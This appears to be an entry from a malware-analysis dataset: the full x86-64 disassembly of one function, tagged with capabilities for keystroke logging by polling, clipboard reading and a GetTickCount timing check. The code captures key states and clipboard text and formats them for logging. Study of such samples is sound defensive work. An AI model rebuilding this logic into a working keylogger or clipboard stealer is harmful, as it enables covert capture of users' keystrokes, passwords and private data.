Function at 0x180012000
Capabilities:
Check for time delay via gettickcount
Log keystrokes via polling
Open clipboard
Read clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.180023da0
sub rsp, rax
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov ecx, 0x28
call fcn.180012694
xor r13d, r13d
lea rcx, [rsp + 0x42]
mov rbp, rax
xor eax, eax
xor edx, edx
mov qword [rbp], rax
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rax
mov r8d, 0x7fe
mov word [rsp + 0x40], r13w
call fcn.180017bb0
lea r15, str._esc_
lea rdi, [0x1800461b0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x180046f98]
cmp eax, 0x5dc
jbe 0x180012176
call qword [sym.imp.KERNEL32.dll_GetTickCount]
xor ecx, ecx
xchg dword [0x180046f98], eax
call qword [sym.imp.USER32.dll_OpenClipboard]
mov ecx, recv
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rbx, rax
test rax, rax
je 0x180012170
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalSize]
mov rcx, rbx
lea esi, [rax + rax + 2]
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rdi, rax
test rax, rax
je 0x180012160
cmp esi, 0x800
jge 0x180012160
lea r8, [rsp + 0x840]
mov rcx, rax
sub r8, rax
movzx edx, word [rcx]
movzx eax, word [rcx + r8]
sub edx, eax
jne 0x180012118
add rcx, 2
test eax, eax
jne 0x180012104
test edx, edx
je 0x180012160
lea rcx, [rsp + 0x840]
movsxd r8, esi
mov rdx, rdi
call fcn.180014d00
lea rdx, [0x180034cc0]
lea rcx, [rsp + 0x40]
mov r8, rdi
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x40]
call fcn.180011e00
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x800
call fcn.180017bb0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
lea rdi, [0x1800461b0]
call qword [sym.imp.USER32.dll_CloseClipboard]
call fcn.180011ec0
test eax, eax
je 0x18001218b
lea rcx, [0x180034ce0]
call fcn.180011e00
mov rcx, qword [0x1800461a0]
test rcx, rcx
je 0x1800121bb
mov dword [0x1800461a8], 0x3c
mov rax, qword [rcx]
lea r9, [0x1800461a8]
mov r8, rdi
mov edx, 0x18
mov dword [rsp + 0x20], r13d
call qword [rax + 0x50]
cmp dword [0x1800461a8], 0
mov dword [rsp + 0x30], r13d
jle 0x18001236a
nop dword [rax]
xor r14d, r14d
lea r12, [0x18003f898]
mov ebx, r14d
nop dword [rax]
mov eax, dword [r13 + rdi]
dec eax
cmp eax, dword [r12]
jne 0x18001232c
test byte [r13 + rdi + 4], 0x80
je 0x1800122fe
cmp ebx, 0x39
jne 0x18001222f
lea ecx, [rbx - 0x25]
call qword [sym.imp.USER32.dll_GetKeyState]
cmp ax, 0xff81
je 0x180012222
cmp ax, 1
je 0x180012222
mov eax, r14d
mov dword [0x18004675c], eax
jmp 0x180012247
mov eax, 1
mov dword [0x18004675c], eax
jmp 0x180012247
cmp ebx, 0x29
je 0x1800122d5
cmp ebx, 0x35
je 0x1800122d5
mov eax, dword [0x18004675c]
cmp dword [0x180046758], r14d
je 0x180012294
movsxd rsi, ebx
imul rsi, rsi, 0x7c
lea rdi, [rsi + r15 + 0x28]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x18001226e
mov r9, rdi
jmp 0x1800122c0
cmp dword [0x18004675c], r14d
je 0x18001228e
lea rdi, [rsi + r15 + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x18001228e
mov r9, rdi
jmp 0x1800122c0
lea r9, [rsi + r15]
jmp 0x1800122c0
test eax, eax
je 0x1800122b6
movsxd rax, ebx
imul rax, rax, 0x7c
lea rdi, [rax + r15 + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x1800122b6
mov r9, rdi
jmp 0x1800122c0
movsxd r9, ebx
imul r9, r9, 0x7c
add r9, r15
lea rdx, [0x180034d00]
mov r8, rbp
mov rcx, rbp
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x18001232c
movsxd r9, ebx
lea rdx, [0x180034cf0]
mov r8, rbp
mov rcx, rbp
imul r9, r9, 0x7c
add r9, r15
call qword [sym.imp.USER32.dll_wsprintfW]
mov dword [0x180046758], 1
jmp 0x18001232c
cmp ebx, 0x29
je 0x180012308
cmp ebx, 0x35
jne 0x18001232c
movsxd r9, ebx
lea rdx, str._s_s
mov r8, rbp
mov rcx, rbp
imul r9, r9, 0x7c
add r9, r15
call qword [sym.imp.USER32.dll_wsprintfW]
mov dword [0x180046758], r14d
inc ebx
add r12, 0x7c
lea rdi, [0x1800461b0]
cmp ebx, 0x66
jl 0x1800121e0
mov r14d, dword [rsp + 0x30]
add r13, 0x18
lea rdi, [0x1800461b0]
inc r14d
cmp r14d, dword [0x1800461a8]
mov dword [rsp + 0x30], r14d
jl 0x1800121d0
xor r13d, r13d
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rdi, [0x1800461b0]
test eax, eax
je 0x180012083
mov rcx, rbp
call fcn.180011e00
xor r11d, r11d
mov qword [rbp], r11
mov qword [rbp + 8], r11
mov qword [rbp + 0x10], r11
mov qword [rbp + 0x18], r11
mov qword [rbp + 0x20], r11
jmp 0x18001207c